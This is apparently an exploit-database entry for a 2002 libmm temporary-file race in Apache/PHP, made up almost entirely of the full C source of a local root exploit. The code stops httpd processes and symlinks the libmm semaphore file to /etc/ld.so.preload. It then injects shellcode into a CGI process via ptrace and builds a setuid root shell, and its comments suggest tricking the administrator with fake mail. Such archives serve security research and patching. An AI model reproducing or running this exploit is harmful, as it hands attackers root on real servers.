MM 1.0.x/1.1.x - Shared Memory Library Temporary File Privilege Escalation Vulnerability



source: http://www.securityfocus.com/bid/5352/info


The MM Shared Memory library is reported to be prone to a race condition with regards to temporary files which may enable a local attacker to gain elevated privileges. This issue may reportedly be exploited by an attacker with shell access as the Apache webserver user to gain root privileges on a vulnerable host. 

/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
 ***
 *** (C) 2002 Sebastian Krahmer proof of concept exploit.
 ***
 *** Exploiting conditions:
 ***
 *** Apache is linked against libmm which has /tmp races.
 *** Upon Apache start or restart code is executed like
 *** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
 *** If attacker exploited any CGI or PHP script remotely he gained
 *** apache-user and can go one step further to get root by:
 ***
 *** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
 ***    Its very likely root does so because webserver just doesnt work anymore
 ***    (all childs are STOPed). One can also send him fake-mail
 ***    from httpd-watchdog that he has to invoke the command.
 *** 2) Install signal-handler and using 2.4 directory notifying to see when
 ***    /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
 ***    immediately which makes Apache creating that file.
 *** 3) Trigger execution of a CGI script where Apache leaks a descriptor
 ***    (r+w) to /etc/ld.so.preload to the child.
 *** 4) Ptrace that script, inject code which writes content to preload-file.
 *** 5) Execute suid-helper to execute code as root.
 ***
 *** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
 *** to apache-user thus setting id-changed flag. By triggering execve() of
 *** a CGI script this flag is cleared and we can hijack process.
 ***
 *** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
 ***        must-bring-root-to-restart-apache);
 ***
 ***
 *** wwwrun@liane:~> cc scalpel.c -Wall
 *** wwwrun@liane:~> ./a.out /cgi-bin/genindex.pl
 *** httpd(2368): Operation not permitted
 *** Creating /tmp/boomsh
 *** Creating /tmp/boomso
 *** Installed signal-handler. Waiting for apache restart.
 *** ++++++Forking off proc-scan to attach to CGI-script.
 *** Triggering CGI: /cgi-bin/genindex.pl
 *** Got cgi-bin PID 2460
 *** Injecting of write-code finished.
 *** blub
 *** +sh-2.05# id
 *** uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
 *** sh-2.05#
 ***/

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/wait.h>

/* Please do not complain about ugly code; its a 1h exploit.
 * For good code see crypto-pty for example ;-)
 */
int create_link()
{
    symlink("/etc/ld.so.preload", "/tmp/session_mm.sem");
    return 0;
}


void die(char *s)
{
    perror(s);
    exit(errno);
}

void sig_x(int x)
{
    create_link();
    printf("+");
}


void usage()
{
    printf("Usage: scalpel <cgi-script>\n\n"
           "i.e. ./scalpel /cgi-bin/moo.cgi\n");
    exit(1);
}

int scan_proc()
{
    int lastpid, fd, i, pid, done = 0;
    unsigned int eip;
    char fname[1024];
    char code[] = 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xe8\x10\x00\x00\x00\x2f\x74\x6d\x70\x2f\x62\x6f"
        "\x6f\x6d\x73\x68\x2e\x73\x6f\x0a\x00\xb8\x04\x00"
        "\x00\x00\xbb\x05\x00\x00\x00\x59\xba\x0f\x00\x00"
        "\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80";
    unsigned long *p;

    printf("Forking off proc-scan to attach to CGI-script.\n");

    if (fork() > 0)
        return 0;

    lastpid = getpid();

    while (!done) {
        for (i = 0; i < 100; ++i) {
            snprintf(fname, sizeof(fname), "/proc/%d/cmdline", lastpid+i);
            if ((fd = open(fname, O_RDONLY)) < 0)
                continue;
            read(fd, fname, sizeof(fname));
            close(fd);
            if (strcmp(fname, "/usr/bin/perl") == 0) {
                if (ptrace(PTRACE_ATTACH, lastpid+i,0,0) < 0) {
                    pid = lastpid+i;
                    done = 1;
                    break;
                }
            }
        }
    }
            
    printf("Got cgi-bin PID %d\n", pid);

    waitpid(pid, NULL, 0);

    eip = ptrace(PTRACE_PEEKUSER, pid, 4*EIP, 0);
    if (errno)
        die("ptrace");
    for (p = (unsigned long*)code; i < sizeof(code); i+= 4, ++p) {
        if (ptrace(PTRACE_POKETEXT, pid, eip + i, *p) < 0)
            die("ptrace");
    }

    if (ptrace(PTRACE_POKEUSER, pid, 4*EIP, eip+4) < 0)
        die("ptrace");

    if (ptrace(PTRACE_DETACH, pid, 0, 0) < 0)
        die("ptrace");
    printf("Injecting of write-code finished.\n");
    exit(0);
}


int tcp_connect(const char *host, u_short port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in sin;

    if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
        die("sock");

    if ((he = gethostbyname(host)) == NULL) {
        herror("gethostbyname");
        exit(EXIT_FAILURE);
    }

    memset(&sin, 0, sizeof(sin));
    memcpy(&sin.sin_addr, he->h_addr, he->h_length);
    sin.sin_family = AF_INET;
    sin.sin_port = port == 0 ? htons(80):htons(port);

    if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
        close(sock);
        return -1;
    }
    return sock;
}


int trigger_cgi(const char *cgi)
{
    char cmd[1024];
    int sock = tcp_connect("127.0.0.1", 80);

    printf("Triggering CGI: %s\n", cgi);

    snprintf(cmd, sizeof(cmd), "GET %s HTTP/1.0\r\n\r\n", cgi);
    if (write(sock, cmd, strlen(cmd)) < 0)
        die("write");
    sleep(1);
    close(sock);
    return 0;
}

int create_boomsh()
{
    FILE *f = fopen("/tmp/boomsh.c", "w+");

    printf("Creating /tmp/boomsh\n");
    if (!f)
        die("fopen");
    fprintf(f, "#include <stdio.h>\nint main()\n{\nchar *a[]={\"/bin/sh\",0};"
           "setuid(0); execve(*a, a, NULL);return 1;}\n");
    fclose(f);
    system("gcc /tmp/boomsh.c -o /tmp/boomsh");
    return 0;
}


int create_boomso()
{
    FILE *f = fopen("/tmp/boomso.c", "w+");

    printf("Creating /tmp/boomso\n");
    if (!f)
        die("fopen");
    fprintf(f, "#include <stdio.h>\nvoid _init(){if (geteuid()) return;printf(\"blub\n\");"
           "chown(\"/tmp/boomsh\",0, 0); chmod(\"/tmp/boomsh\", 04755);"
               "unlink(\"/etc/ld.so.preload\");exit(0);}");
    fclose(f);
    system("gcc -c -fPIC /tmp/boomso.c -o /tmp/boomso.o;"
           "ld -Bshareable /tmp/boomso.o -o /tmp/boomsh.so");
    return 0;
}


int main(int argc, char **argv)
{
    int fd;
    struct stat st;
    char *cgi = NULL;
    extern char **environ;
    char *boomsh[] = {"/tmp/boomsh", NULL};
    char *suid[] = {"/bin/su", NULL};

    if (argc < 2)
        usage();

    cgi = strdup(argv[1]);

    setbuffer(stdout, NULL, 0);

    system("killall -STOP httpd");

    create_boomsh();
    create_boomso();

    if ((fd = open("/tmp", O_RDONLY|O_DIRECTORY)) < 0) {
        return -1;
    }

    if (fcntl(fd, F_SETSIG, SIGUSR1) < 0) {
        return -1;
    }

    if (fcntl(fd, F_NOTIFY, DN_MODIFY|DN_DELETE|DN_RENAME|DN_ATTRIB
                   |DN_CREATE|DN_MULTISHOT|DN_ACCESS) < 0) {
        return -1;
    }
    
    signal(SIGUSR1, sig_x);

    printf("Installed signal-handler. Waiting for apache restart.\n");

    /* wait for /etc/ld.so.preload to apear */
    while (stat("/etc/ld.so.preload", &st) < 0)
        sleep(1);


    /* forks off daemon */
    scan_proc();

    /* Trigger execution of a CGI-script */
    trigger_cgi(cgi);

    for(;;) {
        sleep(1);
        memset(&st, 0,sizeof(st));
        stat("/etc/ld.so.preload", &st);
        if (st.st_size > 0)
            break;
        if (stat("/tmp/boomsh", &st) == 0 && st.st_uid == 0)
            break;
    }

    /* Apropriate content is in /etc/ld.so.preload now */
    if (fork() == 0) {
        execve(*suid, suid, NULL);
        exit(1);
    }
    sleep(3);
    execve(*boomsh, boomsh, environ);

    return 0;
}